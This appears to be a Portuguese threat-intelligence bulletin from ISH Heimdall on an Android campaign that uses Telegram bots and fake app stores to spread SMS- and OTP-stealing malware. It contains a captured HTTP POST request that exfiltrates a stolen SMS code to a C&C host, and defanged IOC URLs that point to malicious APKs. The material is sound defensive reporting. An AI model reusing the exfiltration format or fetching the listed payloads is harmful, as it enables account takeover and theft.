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A conta oficial do grupo de Threat Intelligence da ISH.
Conheg¢a mais do que fazemos aqui:

Acesse boletins diarios sobre agentes de ameacas,
malwares, indicadores de comprometimentos, TIPs e
outras informacgoes no site da ISH.

Boletins de Seguranca - Heimdall

Malware Ransomware

CONTAS DO FACEBOOK SAD INVADIDAS ALERTA PARA RETORNO DO MALWARE GRUPO DE RANSOMWARE CLOP
POR EXTENSOES MALICIOSAS DE EMOTET! EXPLORANDO VULNERABILIDADE PARA
NAVEGADORES NOVAS VITIMAS

0 malware Emotet apés permanecer alguns
Descoberto recentemente que atores meses sem operagdes retornou cou outro 0 grupo de Ransomware conhecido como
maliciosos utilizam extensdes de meio de propagagao, via OneNote e também ClOp esta explorando ativamente a
navegadores para realizar o roubo de cookies dos métodos ja conhecidos via Planilhas e vulnerabilidade conhecida como
de sessoes de sites como o Facebook. A Documentos do Microsoft Office CVE-2023-0669, na qual realizou o ataque a
extensdo maliciosa é oferecida como um diversas organizagdes e expds os dados no
anexo do ChatGPT. site de data leaks
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1 SUMARIO EXECUTIVO

Foi descoberta por pesquisadores, uma campanha maliciosa direcionada a
dispositivos Android no mundo todo utilizando milhares de bots do Telegram para
infectar dispositivos com malware que rouba SMS e senhas 2FA de uso Unico
(OTPs) para mais de 600 servigos.
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Figura 1 - Paises com maiores quantidades de alvos na campanha .
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2 CADEIADEINFECGAO
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Figura 2 — Cadeia de infecgéo.

Fase 1: Instalagcao do aplicativo

e Avitima é enganada para fazer o download de um aplicativo malicioso por
meio de um anuncio enganoso que imita uma loja de aplicativos legitima ou
pelo uso de bots automatizados do Telegram que se comunicam
diretamente com o alvo.

Fase 2: Solicitagcdes de permissao

e Apds ainstalacao, o aplicativo malicioso solicita a permissao de leitura de
mensagem SMS. Esta é uma permissao de alto risco no Android que
concede amplo acesso a dados pessoais sensiveis. Embora aplicativos
legitimos possam exigir permissdes de SMS para fungdes especificas e bem
definidas, a solicitagao deste aplicativo em particular provavelmente nao é
autorizada e tem a intencao de exfiltrar as comunicagdes privadas de
mensagens de texto da vitima.

Fase 3: Recuperacgao do servidor de Comando e Controle

e O malware entdo alcanca seu servidor de Comando e Controle (C&C). Este
servidor atua como o cérebro das operacoes, executando comandos e

O

heimdall 7117



heimdall

security research

coletando dados roubados. Inicialmente, o malware dependia do Firebase
para recuperar o endereco do servidor C&C. No entanto, os invasores
adaptaram suas taticas e agora utilizam repositérios do Github ou até
mesmo incorporam o endereco do servidor C&C diretamente no préprio
aplicativo.

Fase 4: Comunicag¢ao C&C

Com o enderego do servidor C&C protegido, o dispositivo infectado
estabelece uma conexao. Essa comunicagao serve a um propdsito duplo; 1)
O malware registra sua presenca no servidor, confirmando seu status
operacional, e 2) Estabelece um canal para transmitir mensagens SMS
roubadas, incluindo quaisquer cédigos OTP valiosos.

Fase 5: Colheita de OTP

A fase final transforma o dispositivo da vitima em um interceptador
silencioso. O malware permanece oculto, monitorando constantemente
novas mensagens SMS recebidas. Seu alvo principal sdo OTPs usados para
verificacdo de conta online.
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3 EXEMPLOS DE CANAIS DE DISTRIBUICAO OBSERVADOS

Os atores maliciosos nesta campanha de malware usaram estratégias
fraudulentas para comprometer suas vitimas. Eles recorreram a anuncios
maliciosos e bots como dois dos métodos frequentes para enganar 0os usuarios a
baixar e instalar o software malicioso. Essas estratégias enganadoras simulavam
ser fontes confiaveis, atraindo as vitimas a clicarem em links maliciosos ou a
baixarem aplicativos, que depois eram carregados em seus dispositivos, uma
pratica comum para burlar os controles de seguranca. Ao se apresentarem como
confidveis, as vitimas eram persuadidas a baixar e instalar o malware. Além disso,
as vitimas autorizavam o aplicativo malicioso a acessar mensagens SMS,
permitindo o roubo de dados sensiveis, incluindo OTPs.

Figura 3 - Exemplo de aplicativo malicioso.

Os agentes de ameacas nao se limitaram a usar links de anudncios
maliciosos para induzir os usuarios a instalar malware; eles também recorreram a
bots do Telegram para disseminar um malware especializado em roubar SMS.
Esses bots, que se faziam passar por servigcos confiaveis, enganaram as vitimas
para que baixassem aplicativos maliciosos, disfargados como APKs legitimos.

Os dispositivos foram comprometidos ndo apenas ao clicar em links
maliciosos da web que hospedavam aplicativos falsos da loja de aplicativos, mas
também ao interagir com bots do Telegram durante a busca por aplicativos Android
nao oficiais ou gratuitos. Por exemplo, observamos um usuario iniciando uma
sessdo interativa com um bot em seu dispositivo mével. O bot entdo pediu ao
usuario para compartilhar seu numero de telefone, o que parece inofensivo, mas
na verdade é um sinal de alerta. Apés obter o acesso, o0 bot envia ao usuario um
APK (pacote de aplicativo Android) habilmente modificado para incorporar o
numero de telefone do usuario. Isso permite que o invasor direcione a vitima de
forma mais precisa ou personalize o0 ataque. Com a vitima sob controle, o invasor
pode roubar e vender informagdes confidenciais do usuario para obter ganho
financeiro.
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Comando e Controle (C&C)

Com o malware instalado no dispositivo da vitima, é importante entender
como ele é controlado pelo agente da ameaca. Os pesquisadores observaram
diversas técnicas em evolucao para registrar e estabelecer um canal de Comando
e Controle (C&C). Nas primeiras versbées do malware, os agentes da ameaca
utilizavam o Firebase para estabelecer as conexdes C&C. No entanto, como é
comum em campanhas de malware bem mantidas e em constante evolucéo,
nossos pesquisadores identificaram técnicas alternativas para estabelecer esses
canais.

"key_1": "https[:]//s[.]dtéremosa[.]org"”,

"key_2": "https[:]//google[.]com/"

Figura 4 - Trecho de um dos arquivos JSON contendo exemplos de servidores C&C.

Assim que o dispositivo da vitima se registra com o servidor de Comando e
Controle (C&C) configurado, o malware pode comecgar a roubar informagdes
pessoais davitima, como mensagens SMS e detalhes do telefone. Esses dados sao
entao enviados do dispositivo da vitima para o servidor C&C configurado, conforme
ilustrado no payload HTTP abaixo.

POST /smsapp HTTP/2

Host: s.6srvfcm.com

Content-Type: application/x-www-form-urlencoded
Content-Length: 301

Accept-Encoding: gzip, deflate

User-Agent: okhttp/4.8.0

action=SMS_APP_NEW_SMS&user_id=5a2a1821-d731-40ff-a8c9-
e9be24d6f85d1641367130061&sms_adress=59039002&sms_body=Check%20code%3A%20884
49 ., %20You%20use%20A11pay%20nowk20and¥20validation¥201s%20required.%20Don%27t%
20disclose%20this%20code®%20to%20anyone . %28A11ipay%29&key=Ffd65d5db-93ee-4964-
8f6c-5510d970721b

Figura 5 - Solicitagdo HTTP POST utilizada pelo malware para enviar dados roubados do dispositivo da vitima.
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4 EXTENSAO DA CAMPANHA MALICIOSA

Os pesquisadores expuseram a impressionante extensa proporcédo da
campanha, abaixo segue as informacodes:

Mais de 107.000 aplicativos de malware exclusivos

e Até o momento, foi encontrado mais de 107.000 amostras de malware
diretamente vinculadas a esta campanha. Isso indica uma campanha
prolifica visando um vasto numero de vitimas globais.

Mais de 95% das amostras de malware sdo desconhecidas ou indisponiveis

e Dessas 107.000 amostras de malware, mais de 99.000 desses aplicativos
sado/eram desconhecidos e indisponiveis em repositérios geralmente
disponiveis.

Mais de 60 servicos de marcas globais de primeira linha foram alvos

e Esse malware estava monitorando mensagens de senha de uso Unico em
mais de 600 marcas globais, com algumas marcas tendo contagens de
usuarios na casa das centenas de milhdes.

113 Paises

e As vitimas estdo espalhadas por 113 paises, com Russia e india sendo os
alvos primarios com base no volume de vitimas retiradas das amostras.

13 servidores de comando e controle (C&C)

o Foiidentificado 13 servidores C&C usados pelo malware para roubar e vazar
mensagens SMS dos dispositivos das vitimas.

Amplarede de bots do Telegram

e Uma vasta rede de aproximadamente 2.600 bots do Telegram foi vinculada
a esta campanha, servindo como um canal de distribuicdo para alguns dos
aplicativos maliciosos.
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5 MITREATT&CK-TTPs

Tatica

Initial Access

Persistence

Defense Evasion

Collection

Command and
Control

Exfiltration

Técnica Detalhes
Avitima é enganada para fazer o
71189 download de um aplicativo malicioso
. . por meio de um anuncio enganoso
Drive-by Compromise .. . L
que imita uma loja de aplicativos
legitima.
T1624.001 Ele cria um receptor de transmisséo
Event Triggered Execution para receber eventos SMS.
T1406.002 , ~
. Ele estd usando ofuscagéao e
Obfuscated Files or
. empacotadores para esconder seu
Information: Software e
. codigo.
Packing
ns1z Ele registra um receptor para
Access Notifications . g el .
monitorar mensagens SMS recebidas.
T1636.004 )
Ele exfiltra todas as mensagens SMS
Protected User Data: SMS .
OTP recebidas.
Messages
T1481.003

Web Service: One-Way
Communication

Ele envia todas as informacoes
exfiltradas para um servidor C&C.

T1646
Exfiltration Over C2
Channel

Ele esta usando o protocolo HTTPS
para exfiltrar dados.

Tabela 1 -Tabela MITRE ATT&CK.
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6 RECOMENDACOES

Além dos indicadores de comprometimento elencados abaixo pela ISH,
poderdo ser adotadas medidas visando a mitigacdo da infeccdo do referido
malware, como por exemplo:

o Evitar baixar apps de fontes nao oficiais: Use apenas lojas de aplicativos
confiaveis.

e Revisar permissoes de apps: Desconfie de aplicativos que pedem acesso
a SMS.

e Implementar solucoes de defesa movel: Use solugdes de seguranca que
detectam e mitigam ameacas moveis.

e Educacao do usuario: Conscientize sobre taticas de phishing e aplicativos
enganosos.

e Atualizacbées regulares: Mantenha dispositivos e solugdes de segurancga
sempre atualizados.

O

heimdall 13117




heimdall

security research

7 INDICADORES DE COMPROMISSOS

A ISH Tecnologia realiza o tratamento de diversos indicadores de
compromissos coletados por meio de fontes abertas, fechadas e também de
analises realizadas pela equipe de seguranca Heimdall. Diante disto, abaixo
listamos todos os Indicadores de Compromissos (IOCs) relacionadas a analise
do(s) artefato(s) deste relatoério.

Indicadores de URL, IPs e Dominios

Indicadores de URL, IPs e Dominios

Dominio 2[.]proxicoin[.]org[:]19082
https[:]//tg3[.]proxicoin[.]Jorg/login
https[:]//s[.]sh2gote[.]org/
https[:]//s[.]ht7joxar[.]org/
https[:]//s[.]dtéremosal[.]org/
https[:]//s[.]jr2mutef[.]org/
https[:]//s[.]pingsafe[.]org/
https[:]//s[.]grobrothers[.]org/
https[:]//s[.]greendeff[.]Jorg/
https[:]//s[.]vi6jolifd[.]org/
https[:]//gigad[.lcampriority[.]Jorg/dl/2l/kVYFAc_Thermal-S2[.]apk
https[:]//badeskot[.]Jcom/akp/Thermal%20Cam%20scanner%202[.]apk
http[:]//s[.]6srvfcm[.]Jcom/

Tabela 2 - Indicadores de Compromissos de Rede.

Obs: Os links e enderecos IP elencados acima podem estar ativos; cuidado ao realizar a
manipulacao dos referidos 10Cs, evite realizar o clique e se tornar vitima do conteudo
malicioso hospedado no loC.
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